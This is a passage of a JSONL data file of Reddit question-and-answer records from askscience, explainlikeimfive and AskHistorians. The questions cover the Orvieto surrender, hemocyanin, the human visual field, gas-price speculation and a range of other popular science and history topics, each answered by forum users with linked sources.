taking no quarter, after the Zeppelin attacks on London killed/injured family of soldiers in the ranks; they left a sign up the next day stating [\"**We'll teach you to bomb London**\".] (_URL_0_)", "I'm not sure this is quite what you are after, but here goes:\n\nIn June 1944 during the Italian Campaign Richard Heseltine, a British Major, led a tank squadron to the foot of Orvieto. \n\nThe hilltop town had been occupied by German forces and its steep approaches and narrow streets looked set to make it a key defensive position.\n\nSoon after the British forces were approached under a white flag with a proposal:\n\n\"In consideration of the historic beauty of Orvieto, the German commander proposes to the allied command that the city of Orvieto be declared open.\"\n\nIn effect the German Commander was suggesting that the battle be relocated 20km north.\n\nAfter some discussion and suspicion the British agreed and entered the city fearing traps to discover it had indeed been given up to better protect the [beautiful Cathedral](_URL_0_) city.\n\n[An interview with Major Hesseltine.](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://ww1centenary.oucs.ox.ac.uk/war-as-revolution/the-first-world-war-in-history/", "https://www.youtube.com/watch?v=w9za1sGUuO4"], ["http://www.cameraetrusca.com/wp-content/uploads/2012/06/Orvieto_cathedral_5270_PatrickNicholas.jpg", "http://www.theage.com.au/articles/2004/04/29/1083224513579.html?from=storyrhs"]]}
{"q_id": "s6mkf", "title": "Can weight lifting create more hormones in your body?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s6mkf/can_weight_lifting_create_more_hormones_in_your/", "answers": {"a_id": ["c4bjf7l", "c4bjh7l"], "score": [6, 5], "text": ["Yes, proper exercise with resistance will increase the levels of \"good\" hormones. Not only is there a increase in serum testosterone levels, but in Growth Hormone and IGF-1, a couple of other important anabolic hormones. A study published in [Int J Sports Med. 1991 Apr;12:228-35](_URL_0_) showed this hormonal increase after weight training in both men and women.\n\n > To examine endogenous anabolic hormonal responses to two different types of heavy resistance exercise protocols (HREPs), eight male and eight female subjects performed two randomly assigned protocols (i.e. P-1 and P-2) on separate days. Each protocol consisted of eight identically ordered exercises carefully designed to control for load, rest period length, and total work (J) effects. P-1 utilized a 5 RM load, 3-min rest periods and had lower total work than P-2. P-2 utilized a 10 RM load, 1-min rest periods and had a higher total work than P-1. Whole blood lactate and serum glucose, human growth hormone (hGH), testosterone (T), and somatomedin-C [SM-C] (i.e. insulin-like growth factor 1, IGF-1) were determined pre-exercise, mid-exercise (i.e. after 4 of the 8 exercises), and at 0, 5, 15, 30, and 60 min post-exercise. Males demonstrated significant (p less than 0.05) increases above rest in serum T values, and all serum concentrations were greater than corresponding female values. Growth hormone increases in both males and females following the P-2 HREP were significantly greater at all time points than corresponding P-1 values. Females exhibited significantly higher pre-exercise hGH levels compared to males. The P-1 exercise protocol did not result in any hGH increases in females. SM-C demonstrated random significant increases above rest in both males and females in response to both HREPs\n\n[Source](_URL_0_)", "Likely what you're experiencing is an increase in testosterone (T). This is probably in response to your weight lifting activities. T is also important in libido, which is why you're seeing an increase in sex drive. T is converted into estradiol (E2, which is the same hormone in women) and dihydrotestosterone (DHT) by different enzymes in the brain and other areas. All three are important in healthy sexual functioning. So, in short, you lifting weights causes more T to be released increasing libido. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/pubmed/1860749"], []]}
{"q_id": "3k3kdr", "title": "how does sheet music work in non-western music?", "selftext": "Today while sitting around studying, I overheard a kid explaining why music should be considered a language.  His reasoning behind it was that music was universal, and that no matter where you went, it would be written the same way.\n\nNow, I know that different cultures use different intervals in music.  In western culture we use half-step intervals, while other cultures use quarter-step or even whole-step intervals.  With this knowledge, I almost decided to call the kid out, saying that music around the world is written differently.\n\nThen I got to thinking, is it actually *written* differently?  Do other cultures in music have different formats for writing sheet music?\n\nI'm aware of things such as a sharp-and-a-half, but this sort of thing is written in what I always considered a Western format for writing down music.\n\nSo to sum it up, I'm asking if different cultures use different forms of sheet music, and what the history/reasoning behind these uses are.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3k3kdr/eli5_how_does_sheet_music_work_in_nonwestern_music/", "answers": {"a_id": ["cuuh2si"], "score": [4], "text": ["I'd argue fully that music is a universal language.  I would argue that music is universal in the same way that spoken language is universal.  But, we don't claim that all languages are the same, nor do we claim that even languages that use the same alphabet are somehow the same.  The notation system used in the west (and now further) can describe tones and rhythms.  However, the _meaning_ of what those tones say is highly subject to culture and past experience with music.  \n\nTo put it another way, being able understand the notation in terms of its rythm and tones does not mean we \"understand the music\".  There is an important layer of music that is what here I'll call \"meaning\".  This is a bit like if I were to understand the phonetics of the French language I might be able to read french, but it does not mean I understand it.  So...yes, western notation can be utilized universally, but the music expressed is bound to a culture, a tradition and a history."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2dgfe2", "title": "what causes beer shits?", "selftext": "Why does my anal hole spew hot rancid hate all day long after I've been drinking?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dgfe2/eli5_what_causes_beer_shits/", "answers": {"a_id": ["cjp83wd", "cjpcd41"], "score": [9, 34], "text": ["Alcohol is a toxin\n\nIt is absorbed in the intestine, and causes the cells of the intestine to lose the ability to absorb water. The end result is the hot rancid hate while your body detoxifies itself\n\n", "Oh my time to shine, I study the gastrointestinal tract in a lab. Alcohol impacts the body's ability to absorb water. This is one of the reasons why you may have a hangover, due to the dehydration. A lot of the water may be physically in your body, especially since a lot of beer is water. As such it's in your intestines but is not necessarily being absorbed into the bloodstream, and it will be excreted as diarrhea. Furthermore, alcohol is a toxin, especially at high levels and it will kill or reduce the absorptive capabilities of digestive cells. This may lead to the shedding of these digestive cells and a subsequent retention of liquid in the intestine that will be expelled as diarrhea. \n\nFurthermore, if you have severe reactions to beer specifically, there may be other issues with gluten since beer is wheat based. This causes an increase in histamine that results in inflammation, poor absorption, and water stools. Don't just assume because some random guy on the internet mentions gluten as a possible cause of diarrhea you should suddenly avoid gluten. See a doctor.\n\nTl;dr: If you drank a lot and get the shits, you probably killed some intestinal cells and/or temporarily reduced your capability to absorb water. If its severe and persistent, it could be a gluten allergy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "fguypc", "title": "I am a British officer living in colonial India during the Raj, what does my day look like?", "selftext": "How did a British officer living in India during the Raj live? What did his schedule look like? What does he do for entertainment and in the evenings. If anyone could also shed some light on diet what the officers meals were and how did they perceive the natives it would definitely be an added bonus!\n:D", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fguypc/i_am_a_british_officer_living_in_colonial_india/", "answers": {"a_id": ["fk7seyu", "fmbas6c"], "score": [2, 2], "text": ["Hey there, while you're waiting, you might be interested in this thread:\n\n*[What did the British colonial administrators eat in India during the days of the Raj?](_URL_0_)* by /u/lordneobic", "No one has answered this so far, so I'll take a stab at it, although I encourage anyone with more knowledge to add on.\n\nMost of the information presented here comes from William Dalrymple's \"The Last Mughal\" and \"The White Mughals.\" As such, most of what I'm going to describe pertains to the early days of colonial rule, during the last years of the East India Company. \n\n We can broadly divide colonial officials into two categories, those who mixed fully into local Indian culture (including those who took Indian wives and the children of mixed marriages) and those who stood strictly to Western customs. Most officials fell somewhere into this spectrum, although the position of the majority depended heavily on the time period. The very early days of Company rule were dominated by the former group, while the latter years, all the way up to the end of British rule were largely characterized by the latter. I will speak mostly about the second group, however, I can also write a bit about the first if you would like. \n\n**Schedule**\nAs you might imagine, one's schedule depended heavily upon his exact occupation. A military officer led a very different life from a bureaucrat. The majority of English officials didn't exactly adore their time in India, and instead hoped to return home with their accumulated savings. As such, most of these men didn't bring a whole lot with them and didn't live quite as lavishly as one might assume (although their standard of living was nonetheless much higher than the average Indian). Military officers were the first to wake up, getting out of bed at around 3:30 AM, and waiting to be shaved and dressed by their native servants. These officers would spend the better part of the morning in their cantonments, drilling and marching their soldiers. Most officials woke up later, around 5 or 6 AM. Waking up early served a very practical purpose, allowing officials to avoid the scorching sun during their morning horse rides, church services, and commutes to work. By about 11 or 12 AM, the soldier's day was already mostly complete, the daily drills and chores were largely over, and the only thing left to do was spend the day \"reading, lounging and sleeping.\" Most (but far from all) bureaucrats and administrators ended their day shortly after noon, and most headed back home in carriages (or in other modes that shaded them from the sun). \n\nUnfortunately, I can't really tell you much about the activities of the afternoon, as I haven't read very much about it. Avery specific example I can give you, however, is that of Sir Thomas Metcalfe, a bureaucrat who worked at the royal durbar of the Emperor Bahadur Shah Zafar. Metcalfe had a very strict daily schedule, and usually ate dinner at 3 PM. Most British officials spent these hottest hours indoors, playing cards, relaxing, smoking, etc. Sunset signaled the end of the day for Company Officials (although Indians continued to work and socialize until much later). This was also the customary time to socialize with one's friends, and officials often visited each other's houses for dinner. After dinner entertainment varied from city to city, with places like Meerut being famed for their lavish balls and galas, and other, smaller stations having comparatively little to do. \n\n**Entertainment**\nMost entertainment and relaxation for British officials took place either during the afternoon or at night, after dinner. As previously discussed, most officials idled at home during the hot afternoon, playing cards, smoking, and generally lounging. Soldiers in the cantonments often complained of this time of day, as the brick cantonments got extremely hot during by mid-day, leaving little for officers do except lie in bed, being fanned by their servants. Light sports and horse riding took place largely in the early mornings, prior to the arrival of the hot sun (women were encouraged to ride early in the mornings, as it protected their complexion). Most officials socialized and practiced their various (sometimes eccentric) hobbies after dinner. A very common pastime was studying, reading history or philosophy, or whatever else interested the particular individual. Letter writing (and, in a few cases, book writing) were also common pursuits. Thomas Metcalfe, who we have referred to already, was a good example of this sort of activity, as he patroned the \"Delhi Book,\" a collection of oil paintings and descriptions he intended as a gift to his daughter back home in England. Music was also a common part of socializing, and philharmonic societies and choirs existed in almost every city with European influence."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/699wxi/what_did_the_british_colonial_administrators_eat/"], []]}
{"q_id": "4wjfms", "title": "magical realism?", "selftext": "Can someone explain to me what the genre is all about?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4wjfms/eli5magical_realism/", "answers": {"a_id": ["d67h881"], "score": [10], "text": ["An extremely simplistic explanation: it's exactly what it sounds like. Literature that takes place in the real world, rather than any overtly fantastical are speculative setting (\"realism\"), but with elements of fantasy, magic, or the supernatural (\"magical\"). In the novel *Like Water for Chocolate*, for example, the protagonist's emotions are tied to the food she cooks, so that anyone who eats her food immediately feels the same emotions. The novel is set in real-life Mexico/Texas during a real historical time period (the Mexican Revolution), and otherwise contains no overtly magical or fantastical elements or settings.\n\nMagical realism is often associated with Latin American writers but this is debated."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "uenes", "title": "I saw a tv show about the Delphi oracle, can some historians tell me more about the place?", "selftext": "It was a really good show, and I thoroughly enjoyed it, it sort of said that Delphi was kind of the 'message board' of the early greek period and contained loads of history, from the first contractually 'freeing' of slaves to the later battles of the greek empire between sparta and rome and their incrementally more gorgeous efforts towards the gods...\n\nJust fancy a chat about Delphi really, sorry for the broadness of the question?\n\n(For a starting point, it was said the oracle sat on a geyser of ethyl vapours that may have inspired her 'visions'....not saying that's correct, but that's pretty cool, eh?)\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/uenes/i_saw_a_tv_show_about_the_delphi_oracle_can_some/", "answers": {"a_id": ["c4uqsrr", "c4uwksi", "c4uqmke"], "score": [3, 4, 4], "text": ["I've heard about the vapor theory..I think its interesting, and definitely could be true.  However, what I find more intersting is the possibility (probabbility?) that a lot of oracles were paid off and rigged.   I've only heard this discussed in a few of my classes, so I don't have any good sources for it; maybe a better historian can help us out!\n\nOracles and fate are really intersting too.  Oedipus is pretty famous, but I really like the story of Croesus: While considering whether to begin war with the Persians, he asked the oracle what the outcome of such a war would be.  She said that if he went to war, a great empire would be destroyed.  Thinking the oracle was referring to the Persians, Croesus went to war expecting victory.  However, the oracle had really meant *his* army.  Greek stories: Mindfucks everywhere.", "This isn't one of my strongest areas of knowledge, but I can add something to the discussion. There are many things to say about Delphi beyond the Pythian oracle, and it remains a beautiful place to visit. The Pythian Games were quadrennial, as were the Olympic, Nemean and Isthmian Games, and the Pythian Games heralded a year's peace between the Greek states. Some great statues can be found in the museum there as well, such as 'the Charioteer'.\n \n_URL_0_ \n\nPlutarch is a good starting point of reading further into the oracle, both 'De Defectu Oraculorum' and 'De Pythiae Oraculis' (roughly working out as 'On the failing of oracles' and 'On the oracles of the Pythia') are worth a read. Plutarch is a late writer writing after Rome's domination of the Greek world, but was a Priest of Delphi himself. Links to some translations of the two texts are below.\n\n_URL_2_  \n\n_URL_1_", "The Delphic oracle indeed was one of the coolest and most referenced oracles in all of antiquity, but I think it's good to remember that oracles and their sanctuaries could be found throughout the ancient world.  Just in Greece, famous oracles existed at Dodona and Epidaurus (these were oracles of Zeus and Asclepius, respectively).  Abroad, there were the oracle of Zeus Ammon in the far southwest of Egypt, and of Pergamon in western Turkey.  Herodotus' Histories have made the Delphic oracle of Apollo the most well-known oracle in antiquity, and it probably was in his time as well.  But I think these other sites did well for themselves too, dealing with the same sort of issues that the Delphic oracle did.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://museumchick.com/images/old/6a0128765be845970c01348834400c970c-pi.jpg", "http://penelope.uchicago.edu/misctracts/plutarchVerses.html", "http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Plutarch/Moralia/De_defectu_oraculorum*.html"], []]}
{"q_id": "8v1jki", "title": "Now that we are several years removed how does the environmental impact of Deep Horizon compare to Fukushima? Is one worse than the other?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8v1jki/now_that_we_are_several_years_removed_how_does/", "answers": {"a_id": ["e1k3v26"], "score": [17], "text": ["I mirroring Fukushima daily since the 3/11 and never got any Report about a dramatic environmental Impact!\n\nThere is still a discussion about a few Monkeys:\n\n[Low blood cell counts in wild Japanese monkeys after the Fukushima Daiichi nuclear disaster](_URL_0_) \n\nbut even when this is related to 1F. it is rather small.\n\nFukushima never caused any massive Die Off\u2019s even in the first Days after the Tsunami.\n\nOn the other hand, the ban on fishing in the Tohoku Prefectures (east Japan) was very good to all type of Fishes and the numbers are very high since 2015."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nature.com/articles/srep05793"]]}
{"q_id": "3i1sj9", "title": "Why do some species use copper to transport oxygen through their blood while most other species use iron?", "selftext": "I'm under the impression that copper is less efficient at transporting oxygen, so why don't all animals use iron instead? Did some just never evolve to be able to use iron even though it would actually be better for them?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3i1sj9/why_do_some_species_use_copper_to_transport/", "answers": {"a_id": ["cuct71o", "cuct9zx", "cucvidh"], "score": [2, 7, 21], "text": ["These are called hemocyanins and they exist in the invertebrates. Under the theory of evolution, invertebrates are older organisms that the vertebrates have evolved from. Thus hemocyanin is an older characteristic that existed in our ancestors from which hemoglobin probably emerged somewhere since then. Since vertebrates became more complex, they must have needed more oxygen and thus needed a better more efficient oxygen transporter as the hemocyanin didn't keep up with the oxygen demand the species had. This is classic theory of evolution! The invertebrates on the other hand probably have kept hemocyanin over needing hemoglobin because of the environmental condition that they exist in, usually in water and sometimes in cold water. In these conditions, hemoglobin does not work as efficiently or requires too much energy thus putting the animals at a disadvantage. Remember some traits that work well for one animal under one set of conditions causes the demise of another under different environments! Sometimes things may be more archaic but work well for certain species and families and if there is no environmental forces forcing evolution, the trait will stick. Lastly on a side note, we have a lot of processes in the body that are not fully efficient but that have worked and stuck  with us (for example the electron transport chain that produce free radicals).", "To note, hemocyanin (copper) is better at transporting oxygen in colder environment and in low oxygen environments, something that crustaceans have to deal with (_URL_0_). So in their case it's better than hemoglobin (iron). But even then, just because something is \"better\", doesn't mean it will necessarily evolve. \n \nWhy didn't other arthropods and molluscs living on soil and at warmer temperatures evolve an iron-based oxygen transport? Well we can't say for certain, but evolution doesn't know what's better. Generally speaking you need a selective pressure to drive evolution, in this case evolution of a more efficient oxygen transport. If the hemocyanin is working \"good enough\" and you have very low selective pressure against it, then it will stick.\n\nAlso, not all hemocyanins are the same. In the same way that different animals can have different hemoglobins that work slightly different and thus slightly better for their particular needs/habitats, different hemocyanins will have different properties too. I wouldn't know for certain but chances are that the hemocyanin present in a cuttlefish would not be very good for a snail living in your garden. The hemocyanins of each animal have suffered selective pressure and evolved small differences between each other, just that moving to a whole new system (iron) is not an easy thing that can just happen. First, you have that hemocyanin is working \"good enough\" so there's no real selective pressure to drive the evolution, then you have that the animal would also have to maybe evolve systems for metabolising iron, incorporating iron, changing the diet, etc, etc. ", "So, this is a very abbreviated explanation, but you have to think of it in terms of evolutionary problem solving. Life finds new answers to new problems all the time in evolution, and this is a great example. Consider that the main disadvantage to hemocyanin is that it does not bind the oxygen as effectively or plentifully, so it's just not as effective as hemoglobin. Hemocyanin also performs better in colder, less oxygen-rich environments, like the oceans. The groupings of creatures that use molecules other than hemoglobin to transport oxygen through tissues are much more primitive, and their bodies are much smaller (which is a big part of it). Hemocyanin is less efficient, but in a small body that doesn't have far to transport stuff, it can work just as well as hemoglobin. They don't need to evolve using hemoglobin, hemocyanin works fine for their use case. Hemocyanin users are also cold-blooded, so they tend to just need less oxygen in general because they're not thermoregulating. They are not lacking anything by using hemocyanin because it works perfectly for their life history.\n\nHemoglobin is something that evolved to solve two issues unique to vertebrates: thermoregulation and being big. Thermoregulation is a problem particularly in mammals; they expend energy and oxygen warming their bodies, therefore they need more oxygen to reliably reach their tissues. Hemoglobin is the answer to that problem. The other thing to consider is that a blue crab only needs the oxygen to make it a matter of inches, so the binding between the oxygen molecule and the metalloprotein does not need to be that strong. In a blue whale, the oxygen may need to reliably be transported hundreds of feet, so we need hemoglobin, to which oxygen bonds much more strongly, to make sure that happens. So yeah, animals using hemocyanin are not at any disadvantage because they don't NEED hemoglobin to meet their oxygen needs. For a smaller, cold-blooded creature hemocyanin is more than enough. Hemoglobin is necessary for animals that have a much higher oxygen demand and potentially a much farther oxygen transport distance. \n\nAnd just for fun, hemoglobin (red blood) and hemocyanin (blue blood) are not the only options out there. There's also Chlorocruorins, used in many annelids which makes the deoxygenated blood green, vanabins in sea squirts that use vanadium as the metal binder (it doesn't work very well), and coboglobins which appear yellow (there's a few more, but those are the fun-colored ones). There is also a group of fish called cod icefish which live in environments so cold and so-oxygen rich that they don't use any oxygen transport proteins at all, so their \"blood\" is clear. But yeah, everything evolves to solve a new problem, and hemocyanin users have no need for hemoglobin, and hemoglobin users could never survive using hemocyanin. One is not \"better\" than another, they're just different use cases. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.ncbi.nlm.nih.gov/pubmed/22791630"], []]}
{"q_id": "r8jdk", "title": "what is \"speculation\" and how does it drive up gas prices?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/r8jdk/eli5_what_is_speculation_and_how_does_it_drive_up/", "answers": {"a_id": ["c43rr7d", "c44195u"], "score": [8, 2], "text": ["Remember when everyone wanted the Elmo doll but we couldn't find it in the store. One reason there were no dolls was because some people were buying it even though they didn't want it. That is speculation. They are buying the doll thinking if there are none in the stores someone will pay more for the doll when they find it. Then they sell the doll when the price goes up so they make money for having the doll for a short time. It is not fair for those of us who wanted the doll but those who bought the doll and sold it at a higher price were happy to make extra money. They then take that extra money and buy more dolls driving the price even higher and making more money.\n\n", "Speculation happens when people think gas prices will be higher in the future than they are now.\n\nIf they think it will be higher in the future, they can make money by buying some cheap gas right now and selling it later when it's more expensive.\n\nSo if a lot of people are willing to buy cheap gas right now, that means there is a lot of demand for gas right now.  Increases in demand lead to increases in price.\n\nSo that's why speculation leads to increases in price."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6nssrj", "title": "how do comedians come up with unique new material? and when they come up with a joke, how do they know somebody years ago hasn't already made the same one?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6nssrj/eli5_how_do_comedians_come_up_with_unique_new/", "answers": {"a_id": ["dkbwfha", "dkbwqfi", "dkbybkv"], "score": [3, 14, 2], "text": ["How did you come up with that question? Did you think of it yourself or did you copy it from someone who had already made it? How do you know if this question hasn't been asked before already?\n\nHow does a writer know that the novel he's writing hasn't been written already? How does a poet know that the poem he's writing hasn't been written already?\n\netc.\n\nAnswer: the brain does that. It creates jokes. It creates haikus. It creates novels. ", "I don't do stand up so I can't speak to content development. However, comedians, unsurprisingly, tend to be rather large fans of comedy and the history of comedy. It's not uncommon to hear stand ups talk about throwing out bits that are too similar to something someone else is currently doing, or has done. \n\nOften times they can get around sharing a similar premise (current events for example) by spinning it in a way that reflects their voice or stage character. Bill Burr talking about Trump is going to be different than Patton Oswalt talking about him, even if they're talking about the same exact thing. \n\nFrom what I've observed too, it's a far lesser crime to use similar material when it isn't part of a special or formal release. So to stay with Burr and Patton, if one does a bit on the late Saturday show that is almost identical to what the other did across the country at the Cellar or something, no big deal.\n\nThe same bit on both albums would be frowned upon to the point where there's no chance it would happen. \n\n", "Got to r/jokes and see how often there are rants about a joke being reposted.\n\nComedians are a creative bunch, but even amongst them there are situations where someone, knowingly or not, had used material staggeringly similar or flat out identical to someone else's. I guess I'm not really answering your question right on, but a creative mind, unique perspective and a gift of a gab is what makes new jokes, comedians successful, and us splash the cash to hear them deliver. \n\n*letter"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1nrz1j", "title": "What shape is my vision", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1nrz1j/what_shape_is_my_vision/", "answers": {"a_id": ["cclix4d", "ccljcfl", "cclk7rl", "ccll5su", "ccllgek", "cclmnlk", "ccln98g"], "score": [79, 21, 6, 8, 2, 11, 3], "text": ["It's circular - kinda.  More precisely, the distribution of receptors in the eye is radially symmetric (save the blind spot, where the nerves connect).  At the center of your field of vision, cones provide high quality, color vision.  In a ring around that, rods provide fast monochromatic vision (to catch a predictor approaching from the side).\n\nIt's very hard to look at the edge of your vision - your eyes move, but one way is to stare forward while having someone move a blinking light into your field of view.  It's amazing how far sideways you can see.\n\nFor diagrams and more: _URL_0_ or search google for \"rod distribution\"", "We don't see a clearly-defined field like a TV screen displays - we don't really see much at all at the edge of our vision - but the field that we see through each eye is approximately circular:\n_URL_2_\n\nLight passes into the eye through the pupil (which is circular) and is focused on the back of the eye by the lens. Covering the back surface of the eye are cells which detect light (cones which detect different colour light, and rods which work at lower light levels but do not distinguish between colours).\n\nThese cells are not evenly distributed across the retina, but are heavily concentrated in a small central region, the fovea:\n_URL_1_\n\nBecause of the high density of photoreceptor cells in the fovea, we can see fine detail when we focus on something. But as you can see from the graph, our visual acuity drops rapidly away from this very small region in the centre, and we only have a vague impression of objects towards the edge of our field of vision.\n\nIn fact, there is a gap in our field of vision due to the position in which the optic nerve connects to the eye, where there are no photoreceptors. This is the blind spot, and can easily be demonstrated:\n_URL_0_\n\nRemarkably we do not normally notice this blind spot, even with only one eye open, because the brain fills in the missing visual information. Similarly, we do not usually notice brief moments of blindness when we blink or blurred vision when we move our eyes, nor are we constantly seeing our noses or retinal blood vessels, as vision as we perceive it does not have an immediate one-to-one relationship with the information received from the photoreceptors in the eye. Indeed, the brain can even compensate if the visual field is rotated:\n_URL_3_\n\nOf course, most of us have two working eyes positioned horizontally, and the brain combines information from both. This means that we can see approximately 180 degrees horizontally (of which only about 140 degrees is seen from both eyes, giving us binocular vision and therefore proper depth perception). We don't have the benefit of additional eyes to improve our vertical field of vision in the same way, so our overall field of vision is wider than it is high - but rather than being a neat rectangle like a TV screen, it's more like two partially overlapping circles. Again, the brain ensures that we perceive a consistent and contiguous image when those two fields are merged. \n\nSo, biologically, given the shape of the pupil and the retina, the field of vision we have in a particular eye is roughly circular, being very sharp in the centre but vague and blurred towards the edges, and it has a hole in it. Because we have two eyes positioned horizontally from each other, our overall field of vision is wider than it is high. But what we perceive as vision is heavily processed by the brain, which combines this information and attempts to compensate for limitations of our biology.", "I would propose an experiment. Get a friend to help. Stand perhaps 10 feet from a wall with a dot (fixation point) for you to stare at. Then have the friend move objects from the periphery towards the fixation point until you can see them and mark that spot. You can also try this with color perception (how close to fixation does it need to be before you can tell what color it is...it should be a random color for it to work) and acuity (at what point can you read a particular font size [no cheating, maintain fixation!]).\n\nThis has basically been done, but you might find it fun to do yourself and it will give you a more intuitive understanding of how vision works.", "So, there are a few levels to this question.\n\nLet's start here:\n\n >  Staring straight ahead with my right eye open, I can see something directly in front of me (we'll call this 0 degrees on the horizontal axis), and maybe, just barely, over my right shoulder (~ +90 degrees), but *can't* see something directly behind me (~ +180 degrees), or over my left shoulder (~ -90 degrees (or, equivalently, +270 degrees)). Where are the borders between _see_ and _can't see_ in the horizontal direction?\n\nYou can see from roughly -60 to +90 in the horizontal.\n\n >  Same question, but for the vertical direction. (180 is behind, +90 is straight above your right eye, -90 is straight below)\n\nYou can see from roughly -60 to +60 in the vertical.\n\n >  What about the diagonals?\n\n...uh... I'll just use a picture for that, which will also illustrate the horizontal and vertical directions.\n\nSee [here](_URL_0_), or [here](_URL_1_).\n\n >  So, that's for the right eye. Same deal for the left?\n\nYup. This means that both eyes contribute to what you're seeing from -60 to +60 in the horizontal (like [this](_URL_2_)). (EDIT: see also coolmanmax2000's comment).\n\nThat's all with your eyes looking straight forward. Looking all the way to the right (turning your eyes, not your head), you should find it fairly easy to see over your right shoulder. Your eyes tend to move a lot during everyday tasks (see e.g. [eye tracking during driving](_URL_4_)), and this increases the scope of the world you visually keep tabs on beyond the visual field diagrams linked to above.\n\nOther layers to the question. \n\n(1) In addition to the up/down/left/right/diagonals, don't forget about distance from the eye. When looking off into the distance, your eyes are not well-aligned for, nor well-focused on, near objects. Same for looking at something near, and having reduced vision off into the distance. However, just like moving your eyes to and fro, you're able to refocus them fairly easily, increasing the scope of the world you can keep track of visually. \n\n(2) Many aspects of vision, like color perception, get worse in the periphery of your visual field. I'll leave it to [xkcd](_URL_3_) to elaborate. (I won't vouch for the numerical details of what xkcd is showing, but it's at least roughly correct.) Other comments touch on this, so I won't add to it here.\n\n", "When you look at your environment, the visual scene is mapped in many different ways by the brain. To give you an idea of how this might work, check out [this image of a monkey retina](_URL_0_)\n\nThat gives you an idea of how visual information is transformed by the visual cortex", "The overlapping visual fields from both eyes look like this: _URL_0_\n\nThis is not the end of the story, however, because the quality of vision is not uniform in all of those areas, as other comments discuss.", "I think you're asking \"what's the shape of the human visual field?\"\n\nVisual fields are routinely mapped out during eye examinations. [Here's what they usually look like.](_URL_1_). \n\nIt explains the shape of [\"aviator\" sunglasses.](_URL_0_)\n\nMostly this shape is determined by your skull, eg your browbones, the bridge of your nose, etc., not necessarily by the retina, which is pretty much circular.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.cis.rit.edu/people/faculty/montag/vandplite/pages/chap_9/ch9p1.html"], ["http://faculty.washington.edu/chudler/chvision.html", "http://en.wikipedia.org/wiki/Fovea_centralis", "http://www.ncbi.nlm.nih.gov/books/NBK220/", "http://en.wikipedia.org/wiki/Perceptual_adaptation"], [], ["http://imgur.com/LIfHQDo", "http://www.britannica.com/EBchecked/media/3422/Perimeter-chart-showing-normal-visual-field-figures-on-the-perimeter", "http://www.vision-and-eye-health.com/images/VisualFieldHoriz.gif", "http://xkcd.com/1080/", "http://www.youtube.com/watch?v=QZV1Rkxd4wc"], ["http://www.hunfi.hu/nyiri/krb2000-Dateien/monkey_brain.jpg"], ["http://www.sfu.ca/cmns/courses/2011/325/Resources/Optics/Visual%20System/05%20Visual-field.jpg"], ["http://www.ray-ban.com/usa/sunglasses/?cat=12", "http://www.sfu.ca/cmns/courses/2011/325/Resources/Optics/Visual%20System/05%20Visual-field.jpg"]]}
{"q_id": "22w9ll", "title": "Is it possible for the earth to have a 'super rain cloud' for example, the size of the United States?", "selftext": "Usually, rain and thunderstorms consist of smaller clouds, Is it possible for a rain cloud to be the size on the United States, or bigger?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22w9ll/is_it_possible_for_the_earth_to_have_a_super_rain/", "answers": {"a_id": ["cgrbiv6"], "score": [5], "text": ["I once ran across a chart showing monsoon size vs. the ability of the atmosphere to contain water. Such a chart would provide the maximum possible precipitation from a storm event. Many major monsoons contained the maximum amount of water vapor based on their size. There was no theoretical limit to the size of a monsoon (area/volume) in that chart though."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "vutj7", "title": "In the Star Fox universe, pilots amputate their legs and replace them with cybernetics so that the blood doesn't rush out of their head when pulling intense g forces. Would this actually make that big of a difference?", "selftext": "My dad was an air force pilot and I do recall him showing my a g-suit that had inflatable bladders near the thighs that would squeeze the legs to keep blood from collecting down in the lower extremities during g-manuevers so I guess this is somewhat grounded in logic. But would amputating the leg completely make any bigger of a difference?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vutj7/in_the_star_fox_universe_pilots_amputate_their/", "answers": {"a_id": ["c57ttr2", "c5849q0"], "score": [44, 2], "text": ["Douglas Bader was a pilot in WWII, and suffered an accident before the war that resulted in both his legs being amputated. There is anecdotal evidence that he could pull more G's in combat because the blood had nowhere to go.\n\nI await confirmation of this from an expert.", "This can probably be answered in terms of pressure drop between the head and the knees, but I'm not sure if I can do so properly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
